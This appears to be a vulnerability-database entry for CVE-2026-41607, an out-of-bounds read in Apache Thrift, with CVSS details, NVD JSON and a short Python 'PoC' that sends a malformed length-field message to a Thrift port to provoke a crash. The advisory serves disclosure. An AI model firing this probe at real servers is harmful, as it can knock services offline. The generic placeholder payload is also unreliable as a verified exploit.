Security Vulnerability Report
中文
CVE-2026-41607 CVSS 6.5 MEDIUM

CVE-2026-41607

Published: 2026-04-28 10:16:04
Last Modified: 2026-04-28 18:39:20

Description

Out-of-bounds Read vulnerability in Apache Thrift. This issue affects Apache Thrift: before 0.23.0. Users are recommended to upgrade to version 0.23.0, which fixes the issue.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:apache:thrift:*:*:*:*:*:*:*:* - VULNERABLE
Apache Thrift < 0.23.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket # Target configuration TARGET_HOST = '127.0.0.1' TARGET_PORT = 9090 def generate_malicious_payload(): # Constructing a payload that triggers the out-of-bounds read # This involves manipulating field headers and length indicators # to bypass standard checks and access unintended memory. # Example: Malformed message header indicating a large string size # but providing insufficient actual data or corrupt structure. payload = b'\x00\x00\x00\x02' # Magic number/Version (example) payload += b'\xFF\xFF\xFF\xFF' # Malformed length field payload += b'A' * 10 # Trailing data return payload def send_exploit(): try: print(f"[*] Connecting to {TARGET_HOST}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_HOST, TARGET_PORT)) payload = generate_malicious_payload() print(f"[*] Sending payload ({len(payload)} bytes)...") s.sendall(payload) # Wait for a response or timeout (indicating a potential crash/hang) response = s.recv(1024) print("[+] Received response. Target might not be vulnerable or handled the error.") except ConnectionResetError: print("[!] Connection reset by peer. Possible crash detected.") except socket.timeout: print("[!] Connection timed out. Possible hang detected.") except Exception as e: print(f"[-] Error: {e}") finally: s.close() if __name__ == '__main__': send_exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41607", "sourceIdentifier": "[email protected]", "published": "2026-04-28T10:16:03.573", "lastModified": "2026-04-28T18:39:19.963", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out-of-bounds Read vulnerability in Apache Thrift.\n\nThis issue affects Apache Thrift: before 0.23.0.\n\nUsers are recommended to upgrade to version 0.23.0, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:thrift:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.23.0", "matchCriteriaId": "0CE7604A-DA43-44E3-9840-9E3696223DD5"}]}]}], "references": [{"url": "https://lists.apache.org/thread/lb4j0zyd5f3g36cos0wql925przpnwql", "source": "[email protected]", "tags": ["Mailing List", "Patch", "Release Notes"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/28/2", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List"]}]}}